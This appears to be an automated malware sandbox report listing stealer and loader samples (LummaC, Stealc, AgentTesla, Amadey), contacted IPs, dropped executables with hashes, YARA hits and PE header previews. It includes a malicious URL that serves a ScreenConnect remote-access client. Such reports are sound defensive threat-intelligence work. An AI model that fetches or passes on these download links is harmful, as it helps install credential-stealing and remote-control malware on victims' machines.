	MUM - VESSEL'S PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.121.3 185.199.111.133
	https://cp9856.chelokipotlester.icu/Bin/support.Client.exe?h=cp3back96.site&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2F0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2FZuAUNQxVB6zV6MkV%2FQ3PQ8O4IKEUzM%2B1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2FCUtP6CZ%2F6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2B48fuhT%2FYi9ukTBmorR&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&i=Untitled%20Session&e=Support&y=Guest&r=	Get hash	malicious	ScreenConnect Tool	Browse	140.82.121.3 185.199.111.133
	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.111.133
	https://gthr.uk/e8c3	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.111.133
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	140.82.121.3 185.199.111.133
	INVOICE.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.121.3 185.199.111.133
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.21.43.145
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.21.43.145
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.21.43.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	188.114.97.3 104.21.43.145
	1Ebp0gOgh5.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.21.43.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	188.114.97.3 104.21.43.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3 104.21.43.145
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3 104.21.43.145
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.21.43.145
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.21.43.145
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Lipras\pdf.exe	file.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Lipras\pdf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002474001\Session.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1290240
Entropy (8bit):	7.990450651344029
Encrypted:	true
SSDEEP:	24576:VUt6SS6/lwChL5nLexP9eVKN3RjJMDnhY3YnBypzcnNftDquJN:+t6fYFexPoKNfMbcYnEINVG8
MD5:	21EB0B29554B832D677CEA9E8A59B999
SHA1:	E6775EF09ACC67F90E07205788A4165CBF8496CA
SHA-256:	9AAA862061C903F3F5A1D509F0016A599B9152D02EA0365DFD3BBD9C5C147656
SHA-512:	E7434E0D46E37E4A76BD8E394063A3AC531892B972347B3DE8AA71689DED1CE4968B1A1DEFDA720AF4CFA66037390CBE771105E7BF892EF640CBEE12E862E742
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g.................D........................@..........................0<...........@................................. .-...............................-..............................................................................................P.......2..................@............0...`.......6..............@....................4...F..............@............P.......$...z..............@.............'.........................@....data....`....-..X...X..............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307421209046726
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug9:gJjJGtpTq2yv1AuNZRY3diu8iBVqFD
MD5:	B462E226D6021E5B0A066B3F20CDF095
SHA1:	375A92ED1388A6E8D54FCF58906ABB801F61F9C3
SHA-256:	74FB756723E7A220D1247C6C97273B7B90E7685EFBE8F0FB1CEF730812F36287
SHA-512:	CE0EF2E14C4EC254EAF2454B51019B22A187BEADACF010B1CF00E75267797F2F2E3E7CAE99A7D3CB12DB1BB62684EF623FB3CDCC1640338BC6B41BF070A6CAD3
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5d7c1060, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586253977683418
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	26A5E5B893922DCC9E4D1007156A230E
SHA1:	584BCC6178C4C9E06FCA97CA0A40386186A64ABC
SHA-256:	109F3C48C09DD5DF37F34C27AEED0086AA31BAA7500003A13248CE5C3C111EDF
SHA-512:	5981CE7246D7816FF1213653B6A866C719513D8D9F8F234C1AFBF9ED9803971445273328A5361BE722459C1A6FB7B27DAB98DA273171DECB50D1E2AE9B7F0CC8
Malicious:	false
Preview:	]\|.`... ...............X\...;...{......................0.z..........{.......\|K.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................wX.......\|k....................&.....\|k..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08114471156264216
Encrypted:	false
SSDEEP:	3:F4l8YeMH44trbGuAJkhvekl1FnaO1l/allrekGltll/SPj:C8z044trbrxlaO1IJe3l
MD5:	D18EFBE25CA0DF1D898BBBDE4A7578FF
SHA1:	DD0EF8D32C527BF6B5BD9788033F06B1163BE12D
SHA-256:	04EC43D20F4EA5E53EECE780869F5171E7A0F3737E58E1659E7799B1FB4D071E
SHA-512:	8D616F33B1AB64AC4C31ADE5008C67AD57CACB4161CCABE1727EDA045D17889E1175AA34A2C9B2DA66667617ADB0C45C5DA06BC80326150C6B3A6B21EEC230E9
Malicious:	false
Preview:	.3......................................;...{.......\|k......{...............{.......{...XL......{.....................&.....\|k.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\F7UO7T49UKQNSZTWA8QFF.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\M8HFQURFTEATD4NIMG0DLKG.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2133504
Entropy (8bit):	7.956685175501958
Encrypted:	false
SSDEEP:	49152:DfcqjHOH/2vzt7Z7LAGil2KwMFsHD9LKOsFOorhpzMsT:Dfcq7OHevzs2LKOs/rh2sT
MD5:	B2D5F7C5A51B55BFE094DBE2A60DA2E3
SHA1:	ACE802A1A1B603E5361C2F3A2B4B5361B3358186
SHA-256:	A117DF022325FF641B44E0D81F794E83D259764A0C82E52EDB471A89B3F75370
SHA-512:	C57EA51400C2FB4AB89124160C6321BB597534777C873809BA677B6391D11FABF868889088C742159B148B987D500B3F8D76C8B9A9E604B272D6504C5918F580
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r......I!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...yhvanrkb......X.....................@...owhwljin......r......f .............@....taggant.0....r.."...l .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2932224
Entropy (8bit):	6.544718100337845
Encrypted:	false
SSDEEP:	49152:3cdlTQk6/xjnE6BFW5FRj1O7zhswsc//Cg8wHW05OLv3:ITQt/xjnE6BFW5fBIzhswsc//Cg82l+
MD5:	3F075D8A80C2881D26355E63CC367019
SHA1:	83AF9A52025EEE9430B93E7EFC1D9A039B81985F
SHA-256:	6E2B1EE5F03B5CC5117B10F8436AE0B716C0E2C7F3ACCF3D97928A322BF71E9E
SHA-512:	339F6E25BFACBFCB001CD95457A41689536AF710C18958C6CC757237D48DABB0BC9C219A0DF78F49ADB75FBC4CA15231A9DB8C0B25B647D917370CA944D0CD9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0.....>^-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...rjghzmyp..........................@...zpnqiley....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584695660383882
Encrypted:	false
SSDEEP:	12288:nqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/T+:nqDEvCTbMWu7rQYlBQcBiT6rprG8ab+
MD5:	DD4869403AE714150E8B540B53E7F01F
SHA1:	2E2047F22FFC3D04426F2A3B54B13E0A7291E25D
SHA-256:	7E3EF81350970F02A26BB5C3371666D4BE6483AEE07EED98EF99D752C4679F08
SHA-512:	87841E80673EDBCC4C282DFA175CD2DEC93D036891E01240797BEE3860C4465E64686D884B5EE3E141D583C21F1E9EE2240C57D6138C07EFA15AE3C90342A337
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....]!g.........."..........X......w.............@..........................`......L.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Session[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.1128773458106895
Encrypted:	false
SSDEEP:	384:De2H2+gWWU6bLUcodtnbQCZhytY6Zqk0U8eaNa2fr964/wVZoJAn:Z20r6HUckbQCamuaNa2fr964oroa
MD5:	3BA35E9D091539EC658813E3D15E4B89
SHA1:	3BAF91A24418399F05D99206F8F004AE48D6A134
SHA-256:	AA133AF788A57F91449A01402067A28F744172154F3A5D3F8D0D47F350037EC8
SHA-512:	A815B64909B9A81C39385C98F00666644D9F0281DCF53582752F84DA1EAAB3A76FB16D76FF4B47057BAB0A9249EB3263BF7FECF88A554DAA986C8935281393CD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..J...........h... ........@.. ....................................`.................................Fh..O....................................g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B................zh......H........7...0...........................................................0..&........(....o......~....(......,....(....&....0..<........r...p(.....(....(........XZ.[.ru..p.."....."...(....(......0..Y........r...p(.....(....(...........+....X..........X............-.r-..p.."....."...(....(.........0..g........rq..p(.....(....(...+o...........s....(...+(...+.........+......]............-.r...p.."...("...(.......0..z........r>..p(.....(....(...+o...........s....(...+(...+...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.381588325045953
Encrypted:	false
SSDEEP:	48:kWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//MPUyus:kLHyIFKL3IZ2KRH9Ougss
MD5:	A003D46DA9DA3985C2042E7A24660017
SHA1:	D44C14426B5710BC2511F9D4129E2941DA5C920A
SHA-256:	75730D9A443B8EBBB1708784E89EE1F3860462AEE9021A139DC7A0D9E554C1AB
SHA-512:	F1CD95F005B37606280FC31294130734C17EE161CAD1E8979444ADCEE7AE23D762A0861B9DEA8DEFD81D066BE125405A3698CFE7D7B03DF77B6E1E5CEF228FFA
Malicious:	false
Preview:	@...e...................................=............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\1002474001\Session.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.1128773458106895
Encrypted:	false
SSDEEP:	384:De2H2+gWWU6bLUcodtnbQCZhytY6Zqk0U8eaNa2fr964/wVZoJAn:Z20r6HUckbQCamuaNa2fr964oroa
MD5:	3BA35E9D091539EC658813E3D15E4B89
SHA1:	3BAF91A24418399F05D99206F8F004AE48D6A134
SHA-256:	AA133AF788A57F91449A01402067A28F744172154F3A5D3F8D0D47F350037EC8
SHA-512:	A815B64909B9A81C39385C98F00666644D9F0281DCF53582752F84DA1EAAB3A76FB16D76FF4B47057BAB0A9249EB3263BF7FECF88A554DAA986C8935281393CD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..J...........h... ........@.. ....................................`.................................Fh..O....................................g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B................zh......H........7...0...........................................................0..&........(....o......~....(......,....(....&....0..<........r...p(.....(....(........XZ.[.ru..p.."....."...(....(......0..Y........r...p(.....(....(...........+....X..........X............-.r-..p.."....."...(....(.........0..g........rq..p(.....(....(...+o...........s....(...+(...+.........+......]............-.r...p.."...("...(.......0..z........r>..p(.....(....(...+o...........s....(...+(...+...

C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2932224
Entropy (8bit):	6.544718100337845
Encrypted:	false
SSDEEP:	49152:3cdlTQk6/xjnE6BFW5FRj1O7zhswsc//Cg8wHW05OLv3:ITQt/xjnE6BFW5fBIzhswsc//Cg82l+
MD5:	3F075D8A80C2881D26355E63CC367019
SHA1:	83AF9A52025EEE9430B93E7EFC1D9A039B81985F
SHA-256:	6E2B1EE5F03B5CC5117B10F8436AE0B716C0E2C7F3ACCF3D97928A322BF71E9E
SHA-512:	339F6E25BFACBFCB001CD95457A41689536AF710C18958C6CC757237D48DABB0BC9C219A0DF78F49ADB75FBC4CA15231A9DB8C0B25B647D917370CA944D0CD9E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0.....>^-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...rjghzmyp..........................@...zpnqiley....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2133504
Entropy (8bit):	7.956685175501958
Encrypted:	false
SSDEEP:	49152:DfcqjHOH/2vzt7Z7LAGil2KwMFsHD9LKOsFOorhpzMsT:Dfcq7OHevzs2LKOs/rh2sT
MD5:	B2D5F7C5A51B55BFE094DBE2A60DA2E3
SHA1:	ACE802A1A1B603E5361C2F3A2B4B5361B3358186
SHA-256:	A117DF022325FF641B44E0D81F794E83D259764A0C82E52EDB471A89B3F75370
SHA-512:	C57EA51400C2FB4AB89124160C6321BB597534777C873809BA677B6391D11FABF868889088C742159B148B987D500B3F8D76C8B9A9E604B272D6504C5918F580
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r......I!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...yhvanrkb......X.....................@...owhwljin......r......f .............@....taggant.0....r.."...l .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584695660383882
Encrypted:	false
SSDEEP:	12288:nqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/T+:nqDEvCTbMWu7rQYlBQcBiT6rprG8ab+
MD5:	DD4869403AE714150E8B540B53E7F01F
SHA1:	2E2047F22FFC3D04426F2A3B54B13E0A7291E25D
SHA-256:	7E3EF81350970F02A26BB5C3371666D4BE6483AEE07EED98EF99D752C4679F08
SHA-512:	87841E80673EDBCC4C282DFA175CD2DEC93D036891E01240797BEE3860C4465E64686D884B5EE3E141D583C21F1E9EE2240C57D6138C07EFA15AE3C90342A337
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....]!g.........."..........X......w.............@..........................`......L.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002490001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2790400
Entropy (8bit):	6.499179015859827
Encrypted:	false
SSDEEP:	49152:uaF8UWSZ/RetN4BoIBmLum10gEm6puqMGRhDmAjy9oG:ffWSVRetN4OIBmLum7UuqmQsoG
MD5:	31DCBB1049045C8DDE02EFAA077817FD
SHA1:	6E3D0910AC7AA8E7E58A5D35F92E093F7054B02B
SHA-256:	A7ED2FCA5E68439CB4274D75A707B1585C82FC5BA612EDDBA132902D100D3858
SHA-512:	1C8EFE68BD5D5CE2B5115EF7E67E77D780E89059FE78F62D2F6855CDCB192DF49B36E78BCB0BED6C08388D1EEB5CDD01AE0701F5E74249BB1D3FBB5A52A5E33A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. .......................@+......>+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...kzqschdp.@......4..:..............@...ptbfmmvg. ..........n.............@....taggant.@....+.."...r*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1887744
Entropy (8bit):	7.950142874409659
Encrypted:	false
